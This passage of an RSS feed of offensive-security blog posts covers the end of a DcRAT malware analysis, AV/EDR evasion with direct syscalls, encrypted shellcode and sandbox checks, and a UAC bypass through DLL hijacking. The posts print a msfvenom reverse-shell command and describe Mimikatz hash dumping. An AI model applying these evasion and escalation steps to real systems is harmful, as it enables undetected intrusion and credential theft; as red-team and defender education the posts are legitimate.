<strong><em>@methew from Huntress Labs</em></strong> who created the second decoding script according to above mentioned working and saved my time. So, after running the script you can clearly see I got an URL with some base64encode parameter and I decode the parameter and found characters (requestpublic). At this point I understand this was the same URL which I found while traffic analysis. So, this was the only C2 server which was used by as an administrator tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WnB7htADBWix3-cbm32QFg.png" /></figure><p>After manually analyzing the other functions, I found some interesting stuff which tells me this sample is able to perform enumeration of system, persistence, reboot, task scheduling and other interesting things.</p><p>Creating BATCH:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2o1uVKl04_SQ0xub_9Z0kQ.png" /></figure><p>System Shutdown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WQxS2vPfaYfLghf3mwqYDQ.png" /></figure><p>Task Scheduling and running with high privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WQxS2vPfaYfLghf3mwqYDQ.png" /></figure><p>Creating Persistence using Registry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LAAXerUWAqLXUlEF5-oBlA.png" /></figure><p>DcRAT String:</p><p>I found another base64encode string when I decode this it was printing ASCII. So, at this point I am completing the PART 1 analysis of DcRAT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*pNtvJojPDHCWipQFupQE8Q.png" /></figure><h3>Conclusion</h3><p>The DcRAT Remote Access Trojan (RAT) demonstrates the increasing sophistication of malicious tools in today’s digital landscape. With its multifaceted capabilities such as remote control, keylogging, system rebooting, data exfiltration and Scripts compilation and execution on system. DcRAT RAT poses a significant threat to individuals and organizations. However, traditional signature-based detection methods often struggle to identify this polymorphic malware due to its rapid ability to change and evade detection.</p><p>This analysis underscores the pressing need for behavioral detection mechanisms in modern cybersecurity strategies. Behavioral detection, powered by machine learning and artificial intelligence, focuses on identifying behavioral patterns rather than relying solely on known signatures. This approach enables security systems to adapt and recognize emerging threats like DcRAT RAT, even as they evolve to evade traditional defenses. By continuously monitoring and analyzing system behavior, security solutions equipped with behavioral detection offer a proactive defense, providing a crucial layer of protection against emerging threats that traditional methods may miss.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94a2bcccd5ce" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/dark-crystel-rat-dcrat-detailed-analysis-94a2bcccd5ce">Dark Crystel RAT (DCrat)Detailed Analysis</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[On-Disk Detection: Bypass AV’s/EDR’s using syscalls with legacy instruction, series of instructions…]]></title>
            <link>https://systemweakness.com/on-disk-detection-bypass-avs-edr-s-using-syscalls-with-legacy-instruction-series-of-instructions-5c1f31d1af7d?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c1f31d1af7d</guid>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Mon, 11 Apr 2022 08:11:39 GMT</pubDate>
            <atom:updated>2024-07-13T10:41:56.865Z</atom:updated>
            <content:encoded><![CDATA[<h3>On-Disk Detection: Bypass AV’s/EDR’s using syscalls with legacy instruction, series of instructions and random nop instructions</h3><p>Hi everyone, today I am going to explain some techniques to bypass AV/EDR’s static as well as dynamic detection. The main focus is to bypass on-disk detection of binary which is using direct syscalls. As a red teamer and security guy, I always try to find new stealthy methods to bypass security controls. My offensive approach can help the blue team to mitigate these threats. As I always mention one thing in my blogs that “Offense is the best defense”. Before starting I want to recall that I have mentioned some techniques in my previous blog to bypass AV/EDR security solutions like random procedures names, strong encryption, direct syscalls, and API hashing.</p><p><a href="https://medium.com/@merasor07/arsenal-bypass-edrs-xdr-s-and-make-malware-analysis-harder-6fde3e2884a5">Arsenal: Bypass EDR’s/XDR’s and make malware analysis harder | by Usman Sikander | Apr, 2022 | Medium</a></p><p>Now I am going to explain on-disk detection and how to bypass this detection. Syscalls are really hard topic and with the help of SysWhispers2 you can simply generate ASM/H pair and can use in your project. I am going to explain how to use syswhispers2 because you can see detail instructions on syswhispers2 repository.</p><p>When I were doing my homework, after compiling my binary caught by Microsoft Windows defender. After touching the disk defender was catching my binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tjl0kuh2UJysmEMo.png" /><figcaption><strong>On-Disk detection of my binary</strong></figcaption></figure><p>Although I am using direct syscalls still defender was catching my binary. Then I though maybe I am using well-know Metasploit created shellcode that’s why defender is catching my implant. Then I used strong AES encryption to avoid static detection of my binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Um5yg9HD2yDRfvTf.png" /><figcaption><strong>AES Decryption in C++</strong></figcaption></figure><p>But after touching the disk Microsoft defender was still able to detect it. After some work, I understood that Microsoft defender might be looking for “syscall” instructions in my binary. I found the string “syscall” in my binary using objdump.</p><pre>objdump <strong>--</strong>disassemble <strong>-</strong>M intel Disk_Part.exe <strong>|</strong> findstr &quot;syscall&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*-rKkBTEO1ASf36Xf.png" /><figcaption><strong>Syscall Instruction in my binary</strong></figcaption></figure><p>This is the reason defender was catching my binary. So In this blog, I am going to explain some techniques which can be used to bypass on-disk detection.</p><p><strong>Techniques:-</strong></p><ol><li>Legacy Instruction (int 2Eh)</li><li>Series of Instructions</li><li>Random Instruction (nop)</li></ol><p><strong>Legacy Instruction</strong></p><p>I wrote a C++ code which is doing process injection using direct syscalls. I am using msfvenom generated shellcode with AES encryption and injecting it into explorer.exe using syscalls. I always use random names of functions and variables to avoid static detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CwrsBYuxuaaGfbt2.png" /><figcaption><strong>PoC Code</strong></figcaption></figure><p>I used syswhispers2 to generate ASM/H pairs for direct syscalls. Firstly, I want to show the general structure of syscall stub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/0*L8WAZ-DSeJynp9uu.png" /><figcaption><strong>General Pattern of Syscall Instruction</strong></figcaption></figure><p>This is pattern of all syscalls defined in ntdll.dll. Syscall instruction in this stub might be interesting for AV/EDR’s to detect this approach. So I used “int 2Eh” legacy instruction to invoke syscalls rather than using “syscall” instruction to avoid on-disk detection of my binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/0*T0Z6PfFyLKmd3L7m.png" /><figcaption><strong>int 2Eh rather than syscall</strong></figcaption></figure><p>This techniques is good to bypass on-disk detection of binary which is using syscalls. Maybe in some cases AV/EDR’s don’t detect “syscall” instruction but make it more stealthy you can still use “int 2Eh”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MJnfMimr2KAosL-U.png" /><figcaption><strong>int 2Eh in binary</strong></figcaption></figure><p><strong>Series of Instructions</strong></p><p>Detection could be done by looking for the “mov r10,rcx” instruction and then inspect the next instruction to determine if it was a syscall, since this allowed to inspect the syscall number. I didn’t face this thing in my homework or during malware development but still I am going to explain this technique to bypass on disk detection.</p><p>I added series of instruction in asm file created by syswhispers2. To bypass these type of detection I am using series of instructions. I am not moving “r10,rcx” directly, I am firstly moving “r15,rcx” than “r14,r15” and so on to bypass the detection which is done by using syscalls instruction pattern. The OS doesn’t really care so long as there’s a syscall number in eax when it transitions to the kernel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/0*l7Gd5w6RfS9ixdZZ.png" /><figcaption><strong>Series of Instructions</strong></figcaption></figure><p><strong>Random Instruction (nop)</strong></p><p>Another technique to bypass on disk detection. I am adding “nop” instructions in my asm file. This techniques also can help to avoid pattern base detection of syscalls. You can add multiple nop instruction before invoking syscalls. These nop instructions will not effect to you code but these are really helpful to bypass detections which maybe done on pattern of general syscalls instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/0*KOwrGAXzwT_GQj1C.png" /><figcaption><strong>nop instructions in asm file</strong></figcaption></figure><h3>Execution</h3><p>After applying all above mentioned techniques, I compiled my binary and executed in the presence of Microsoft Windows Defender the result was more obvious for me. I was able to bypass static and dynamic analysis of defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K5umK8m0KKu3rsd7.png" /><figcaption><strong>Execution of binary</strong></figcaption></figure><p>Than I decided to check my binary against multi AV/EDR’s. I uploaded my file on “antiscan.me” but no AV/EDR’s were able to detect my binary. My binary was cleaned and not flagged any AV/EDR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*B-0PNPDvOmwtXErT.png" /><figcaption><a href="https://antiscan.me/scan/new/result?id=Y8WUdCOS3KA6"><strong>https://antiscan.me/scan/new/result?id=Y8WUdCOS3KA6</strong></a></figcaption></figure><p><strong>CONCLUSION</strong></p><p>This blog is explaining some techniques to bypass on-disk detection and the detection which could be done by identifying and monitoring the pattern of syscalls. In my upcoming blog, I would love to add more stealthy techniques to make my implant more stealthy.</p><p><strong>AUTHOR:-</strong></p><p>Usman Sikander</p><p><strong>Sr. Offensive Security Researcher</strong></p><p><strong>References:</strong></p><p><a href="https://github.com/Offensive-Panda/on-disk-detection-bypass">GitHub - Offensive-Panda/on-disk-detection-bypass: Direct syscalls Injection to bypass AV/EDR</a></p><p><a href="https://medium.com/@merasor07/arsenal-bypass-edrs-xdr-s-and-make-malware-analysis-harder-6fde3e2884a5">Arsenal: Bypass EDR’s/XDR’s and make malware analysis harder | by Usman Sikander | Apr, 2022 | Medium</a></p><p><a href="https://medium.com/@merasor07/av-edr-evasion-using-direct-system-calls-user-mode-vs-kernel-mode-fad2fdfed01a">AV/EDR Evasion Using Direct System Calls (User-Mode vs kernel-Mode) | by Usman Sikander | Mar, 2022 | Medium</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c1f31d1af7d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/on-disk-detection-bypass-avs-edr-s-using-syscalls-with-legacy-instruction-series-of-instructions-5c1f31d1af7d">On-Disk Detection: Bypass AV’s/EDR’s using syscalls with legacy instruction, series of instructions…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Arsenal: Bypass EDR’s/XDR’s and make malware analysis harder]]></title>
            <link>https://systemweakness.com/arsenal-bypass-edrs-xdr-s-and-make-malware-analysis-harder-6fde3e2884a5?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fde3e2884a5</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[syscalls]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Fri, 01 Apr 2022 14:30:36 GMT</pubDate>
            <atom:updated>2024-07-13T10:40:40.177Z</atom:updated>
            <content:encoded><![CDATA[<h3>(Direct Syscalls, Sandbox Bypass, API Hashing, AES Encryption)</h3><h3><strong>Introduction</strong></h3><p>In this blog, I am going to explain multiple techniques to bypass <strong>AV/EDR/XDR</strong> security solutions. As a red teamer and security guy, I always try to explore new methods and approaches to bypass security controls. My work is related to offensive security, “<strong>Offense is the best defense</strong>”. This blog is definitely going to help the red team as well as the blue team.</p><p>Today I am going to make a defense evasion arsenal which is using direct syscalls, sandboxes bypass techniques, Strong encryption and random procedure names to bypass AV/EDR’s. I will also explain the method to bypass <a href="https://medium.com/u/675636f397de">Outflank</a> well-know tool Dumpert. <strong>Dumpert</strong> used direct syscalls to bypass security controls such as AV/EDR’s user-land hooking and create memory dumps. Because Dumpert is well-known and open-source tool most of the AV/EDR’s updated the signature. In my homework, when I compiled Dumpert after touching the disk Microsoft Defender detected it. So instead of changing signature of Dumpert, I decided a different way to bypass it statically as well as dynamically. Before explaining the techniques, Let’s talk about <strong>Widows APIs</strong> and <strong>Native APIs</strong>. I am not going to explain it very deeply because I have already explained the flow of APIs in my previous blog post.</p><p><a href="https://medium.com/@merasor07/av-edr-evasion-using-direct-system-calls-user-mode-vs-kernel-mode-fad2fdfed01a">AV/EDR Evasion Using Direct System Calls (User-Mode vs kernel-Mode)</a></p><p>Applications in Windows run in user-mode and to perform operations applications call Windows APIs. Native APIs located in (ntdll.dll) are the last instance which can be monitored by AV/EDR’s security solutions. Let’s take a example of Simple malware which is doing process injection using Windows API calls such as <strong>VirtualAllocEx, WriteProcessMemory, CreateRemoteThread</strong>. These API’s further interact with alternative API calls which is located in ntdll.dll. Functions located in ntdll.dll are set of assembly instructions to call the system level calls in kernel. Most of the AV/EDR’s hooked on Native API’s and redirect the flow of program whenever a application calls these function in order to see the malicious behavior of program. When new process spawned EDR’s load their DLL’s in process memory to inspect the behavior of program.</p><h3><strong>Defense Evasion Arsenal</strong></h3><p>Direct syscalls is always hot topic for red teamers. In my arsenal, I used direct syscalls to bypass user-mode hooking of AV/EDR. I also used some techniques which will make malware analysis harder. When we open binary with IDA-pro or binary parser statically and using string search we can tell this binary is doing such task. To make static analysis hard, I used different techniques.</p><p><strong>PART 1</strong></p><p>I divided my work into two parts. First part will explain the syscalls with native API functions name and second time I used random names in my implant in order to make static analysis hard. Let’s discuss our preparation for defense evasion arsenal.</p><p>Firstly, I created ASM/H pairs using <strong>SysWhispers2</strong>. SysWhispers2 use random functions name every time and resolve syscalls dynamically. In this picture, You can see created assembly file of syswhisper2. Function hash is used by global variable and resolving syscalls accordingly. The name of procedures is same as <strong>Native API</strong> calls. Although this approach bypass AV/EDR user-land hooking but I realize that If I use these names in my implant Windows defender or other security controls can catch my binary in static or heuristic analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*8IliIBbs-TkYWzLtskdU2Q.png" /><figcaption><strong>Defined Procedures</strong></figcaption></figure><p>You can see this resolve the function hash into syscalls and make the call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dEzknHNsjxt8KjQ1-u7OUA.png" /><figcaption><strong>Functions to resolve direct syscalls numbers</strong></figcaption></figure><p>I wrote a code into C++ which is using direct syscalls. In my part 1, I used same name in my code and perform static analysis using <strong>IDA-PRO</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*_SUBaP_0dSFTCVm379fMjQ.png" /><figcaption><strong>Calling with same names as ntdll.dll defined</strong></figcaption></figure><p>After analysis my implant statically in <strong>IDA-PRO</strong>, I can clearly see the native calls which indicates the behavior of my binary. Malware analysts can easily understand that this binary is doing injection in process. Because these combination is used by malware developers in order to perform process injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-EA_6FRQlcg4ER9VJxmjtw.png" /><figcaption><strong>STATIC ANALYSIS (API CALLS)</strong></figcaption></figure><p>Although, I am using direct syscalls and this technique bypasses most of the AV/EDR’s still I want to make my implant more stealthy and harder to analyze. I used AES encryption in order to bypass static analysis, I am using well-known tool <strong>msfvenom</strong> to create shellcodes which are highly detected by AV/EDR’s. So I encrypted my shellcode using <strong>AES encryption</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*Hk0IUjEwoSrotshVdY4PKA.png" /><figcaption>AES Decryption in C++</figcaption></figure><p>Apart from encryption, I also used three sandboxes bypass techniques one is checking size of <strong>ram</strong> others are checking <strong>processing speed</strong> and core <strong>processors</strong>. You can change number of cores and size of ram accordingly, I am using 8gb ram condition in my code. If size of ram is less than 8 program will exit here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*mm0-K56HHrR0jKLSKf6LXA.png" /><figcaption><strong>Sandboxes bypass techniques</strong></figcaption></figure><p><strong>PART 2</strong></p><p>As I mentioned above in part 1, I am using random procedures and functions name in order to make it more stealthy. This time, I changed the procedures names and also changes the prototype names. Native API’s are undocumented but you can easily find prototypes for them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*6siymGj2j4H3QgrJoZrNdA.png" /><figcaption><strong>Random Procedures Names</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*2cdawWdC-mvGFwnO72motA.png" /><figcaption><strong>RANDOM NAMES IN PROTOTYPES</strong></figcaption></figure><p>You can see this time I used random functions names in my implant. I am doing this thing to make static analysis harder for malware analyst and also in future AV/EDR’s can catch my binary on these functions names and signatures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*RxqK0F7KQ0YfnTaHAekC-A.png" /><figcaption><strong>Random functions names</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_UzzqJqOGCjxIYclU6UVA.png" /><figcaption><strong>Difficult to understand</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Z69J4kce1dIxMPAweqXUow.png" /><figcaption><strong>No Imports and String Searches</strong></figcaption></figure><p>I tested these techniques on windows 11 against Microsoft Defender, MacAfee and Kaspersky but no one were able to detect my implant. I was able to bypass static and dynamic analysis of these security controls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCk7p0Cn9ndHGgGLXNaVlg.png" /><figcaption><strong>Windows Defender Bypassed</strong></figcaption></figure><p>I injected my payload into <strong>explorer.exe</strong>. You can see my payload in memory address in explorer.exe which is <strong>RWX</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9-cP8lGcyrqmyCGWvCNCbg.png" /><figcaption><strong>Payload in explorer.exe</strong></figcaption></figure><p>I also checked my binary on antiscan.me to check the detection rate of these techniques. But my binary was fully undetectable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*Cv0uiUf92HeOn_lDVK8agQ.png" /><figcaption><a href="https://antiscan.me/scan/new/result?id=DpzbbuU1wnXV"><strong>https://antiscan.me/scan/new/result?id=DpzbbuU1wnXV</strong></a></figcaption></figure><p>By using direct syscalls, sandboxes bypassing techniques, strong encryption and random procedures names I was able to bypass EDR/XDR detection. Now In my last part, I also want to explain the method which can be used to bypass Dumpert tool created by outflank.</p><p><strong>BYPASS DUMPERT TOOL (OUTFLANK)</strong></p><p><a href="https://medium.com/u/675636f397de">Outflank</a> created a very amazing tool which used direct syscalls to create memory dumps but due to open-source almost every AV/EDR’s updated the signature of Dumpert. Instead changing the signature, I used another easy way to bypass it. This technique really work and you will see the amazing results.</p><p>Firstly, I created independent shellcode of Dumpert into raw form using tool Donut created by <strong>@TheWover. </strong>You just need simple command in order to convert <strong>Dumpert.exe</strong> into raw shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*zEsGPjiFJPh_VWZYIGhpNg.png" /><figcaption><strong>Convert EXE into shellcode</strong></figcaption></figure><p>So in order to bypass static analysis of Dumpert I am doing in-memory execution. Dumpert itself is using direct syscalls to create memory dumps but I also created my Injector which will load Dumpert shellcode into remote process. This loader is using the same techniques which I have already mentioned above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*auwcWOvTBTXMp72fuLbIzA.png" /><figcaption><strong>Execution of Dumpert using Process Injection</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sBgSSNcd9TzHL81wqk0O0g.png" /><figcaption>Memory Dumps</figcaption></figure><p>This techniques is also bypass AV/EDR’s because I used direct syscalls in my injector to bypass user-mode hooking of AV/EDR’s.</p><p><strong>CONCLUSION</strong></p><p>Direct syscalls is mostly used by red teamers and attacker to bypass user-land hooking of security controls. But in this blog, I also explained the other techniques which can be used to make implant more stealthy and undetected. I also explained the method to bypass well-known tool Dumpert. In my upcoming blogs, I would love to add more stealthy techniques to make it more stealthy.</p><h3><strong>Author:</strong></h3><p><strong>Usman Sikander</strong></p><p><strong>Sr. Offensive Security Researcher</strong></p><p><strong>References:</strong></p><ul><li><a href="https://github.com/xenoscr/SysWhispers2/">GitHub - xenoscr/SysWhispers2: AV/EDR evasion via direct system calls.</a></li><li><a href="https://github.com/outflanknl/Dumpert/tree/master/Dumpert">Dumpert/Dumpert at master · outflanknl/Dumpert</a></li><li><a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR | Outflank Blog</a></li><li><a href="https://github.com/Offensive-Panda">Offensive-Panda - Overview</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fde3e2884a5" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/arsenal-bypass-edrs-xdr-s-and-make-malware-analysis-harder-6fde3e2884a5">Arsenal: Bypass EDR’s/XDR’s and make malware analysis harder</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EASE POST-EXPLOITATION: Getting elevated reverse shell using DLL Hijacking and Mock Directories]]></title>
            <link>https://systemweakness.com/ease-post-exploitation-getting-elevated-reverse-shell-using-dll-hijacking-and-mock-directories-2fc2c7a3cdae?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fc2c7a3cdae</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[uac]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Thu, 24 Mar 2022 12:35:56 GMT</pubDate>
            <atom:updated>2022-08-03T06:51:47.483Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is about DLL Hijacking and Mock directories technique to bypass Windows UAC security feature and getting high-level privileged <strong>reverse shel</strong>l. Security researchers identified this technique which uses a simplified process of <strong>DLL hijacking</strong> and <strong>mock folders</strong> to bypass UAC control. I tested this on Windows 10 and bypassed Windows 10 UAC security feature. Now I thought maybe Microsoft has patched this in Windows 11. Firstly, I want to tell you guys why I named my blog “Ease Post-Exploitation”. As a red teamer everyone know attackers get initial access and try to escalate privileges in order to dump hashes and perform privileged task to move laterally within the network. Let’s take an example of domain user which is local administrator of his PC. If an attacker got access of that user than he will escalate privileges in order to dump hashes and try to authenticate within network using NTLM hashes of that user. What if an attacker got elevated reverse shell of user, he don’t need to escalate privileges because he already got administrative shell on C2 server. I am going to explain how DLL hijacking works and which windows binaries used to perform this attack. I am using Metasploit as a C2 server in order to get reverse shell and “computerdefaults.exe” binary to perform DLL hijacking attack.</p><ol><li><strong>C2 Server (Metasploit)</strong></li><li><strong>computerdefaults.exe</strong></li><li><strong>Mock Directories</strong></li><li><strong>Privileges Escalation</strong></li><li><strong>Mimikatz</strong></li><li><strong>Reverse Shell</strong></li></ol><h3><strong>Introduction</strong></h3><p><strong>DLLs</strong> (Dynamic Link Library) are libraries that contain code and procedures used by Windows programs. They are similar to EXE files as they are based on the Portable Executable (PE) file format although they cannot be executed directly.</p><p><strong>DLL hijacking</strong> is a way of injecting malicious code into a particular service or application by loading an malicious DLL, which typically replaces the original one, and causing it to be run when the service is launched. This is possible due to the way some Windows applications search for and load DLLs. More specifically, if the path to a service’s DLL isn’t already loaded or stored in the system, Windows will begin looking for it in the environment path, allowing an attacker to place the malicious DLL in a directory that is part of it to trigger the malicious code.</p><h3><strong>UAC — User Account Control</strong></h3><p>UAC is protection mechanism which is introduced in Windows Vista and later. This feature asks user he/she want to run high-risk application before it is elevated. Microsoft introduced inbuilt “exceptions” within the UAC framework. This feature allows trusted system DLLs located under C:\Windows\System32\ to “auto elevate” to higher privileges without displaying a UAC prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*IoQp1q8axE4Id2mUu3Itkw.png" /><figcaption><strong>UAC PROMPT</strong></figcaption></figure><h3><strong>Mock Directories</strong></h3><p>Mock directory is an imitation directory with a trailing space. For example “C:\Windows\System32” is trusted directory in windows and “C:\Windows \System32” is mock directory (Notifying by trailing space). One important thing I want to mention here user cannot create mock directories using Windows explorer. It must be created by <strong>cmd</strong> or <strong>powershell</strong>.</p><p><strong>It is not possible to create “C:\Windows”</strong></p><p><strong>But it is possible to create “C:\Windows \System32”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mezGdHHAYKf_Rog1Smgpew.png" /><figcaption><strong>Mock Folder</strong></figcaption></figure><h3><strong>Task Manager (taskmgr.exe)</strong></h3><p>When I was working on this, I analyze the integrity level of <strong>taskmgr.exe</strong>. Taskmgr.exe is located in “C:\Windows\System32&quot; and when we launch this process it loads different DLL files. Attacker can use this executable to perform DLL hijacking attack. Every DLL loaded by this process is “auto-elevated” because this process has high integrity level by default. There are many executables which can be used in DLL hijacking attack. In my case, I am using “<strong>computerdefaults.exe</strong>” to perform this attack. Attacker use these binaries to escalate privileges in windows such as changing registry value, DLL Hijacking etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mn6HpwmtT3e_4eWTdhpxQg.png" /><figcaption><strong>Task Manager Process Integrity Level</strong></figcaption></figure><h3>Exploitation</h3><p>Now I am going to explain how this attack works and how attacker can get administrative shell using DLL hijacking and mock directories technique to bypass UAC protection in windows 11. I tested this exploit in windows 11 and it is working fine even in the presence of windows defender.</p><p>STEPS:-</p><ol><li><strong>Malicious DLL Creation</strong></li><li><strong>Mock folder and loading malicious DLL</strong></li><li><strong>Getting Administrative reverse shell</strong></li><li><strong>Loading Mimikatz</strong></li></ol><p>Firstly, I created a shellcode using Msfvenom in CSharp format. I am using Metasploit as a C2 server.</p><p><strong>“msfvenom -p windows/x64/shell_reverse_tcp lhost=0.0.0.0 lport=555 -f CSharp”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*QlGStDVsHu1ZemehjNZObQ.png" /><figcaption><strong>Generated Shellcode using Msfvenom</strong></figcaption></figure><p>After that I created a simple program in C++ which is creating DLL file. This program contain above created shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-WeaeVpN6P7F5Z6M_kKdA.png" /><figcaption><strong>Malicious DLL Creation</strong></figcaption></figure><p>Next step is to create a batch file which will create mock directories and copy some file into mock directory and try to load malicious DLL.</p><ol><li><strong>Mock Directory “C:\Windows \System32”</strong></li><li><strong>Copy propsys.dll into mock directory</strong></li><li><strong>Copy computerdefaults.exe into mock directory</strong></li><li><strong>Clean mock directory</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*nXzMHKEC1aHAl9zt51mkqg.png" /><figcaption><strong>Batch Script to perform attack</strong></figcaption></figure><p><strong>propsys.dll</strong> is legitimate PE file which is loaded by computerdefaults.exe when we launch computer defaults. So I created malicious DLL and rename it as “propsys.dll” to load it into process. Before executing batch script I started listener on Metasploit to get reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*xj8ZSGx5AYxqst0P_Px17g.png" /><figcaption><strong>Started Listener</strong></figcaption></figure><p>Now, when I executed batch script it created mock directories and copy legitimate binary and malicious DLL into mock folder and executed binary to load malicious DLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*QTaYtGSvxmCEMz20rPlRHQ.png" /><figcaption><strong>Script Execution</strong></figcaption></figure><p>After successfully execution, I got reverse shell on Metasploit. when I checked privileges it has administrative rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESNgOa5mZou7NCYZQn8c8Q.png" /><figcaption><strong>High-Mandatory Level Shell</strong></figcaption></figure><p>Now attacker has privileged shell and he can perform post exploitation attacks such as lateral movement. Attacker don&#39;t need to escalate privileges in order to load Mimikatz on C2 because he has already elevated shell. Now I am going to load Mimikatz on C2 server to dump hashes. There are different ways to bypass Mimikatz from windows defender, I have already explained it in my previous blog post.</p><p><a href="https://medium.com/@merasor07/bypass-mimikatz-using-process-injection-technique-6d2a8415fcd6">Bypass “Mimikatz” using Process Injection Technique</a></p><p>This time I invoke Mimikatz and dump user hashes on C2 server. Now further we can perform attacks using NTLM hashes in order to authenticate user over the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*n9Px514ZD_KLLmSu3z4bug.png" /><figcaption><strong>Invoke-Mimikatz to dump hashes</strong></figcaption></figure><p><strong>CONCLUSION:-</strong></p><p>I explained that how attacker can compromise full system using this attacks. Although this type of vulnerability isn’t very common, it is very dangerous and can potentially result in a full system compromise. Attacker can get high level shell using this technique and perform post exploitation attacks very easily because he already has a administrative rights. This is the reason I named my blog “Ease Post-Exploitation”. To prevent UAC bypass attacks is setting UAC to “Always Notify.” Doing so will always show the user UAC prompts before high-risk applications are executed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fc2c7a3cdae" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/ease-post-exploitation-getting-elevated-reverse-shell-using-dll-hijacking-and-mock-directories-2fc2c7a3cdae">EASE POST-EXPLOITATION: Getting elevated reverse shell using DLL Hijacking and Mock Directories</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>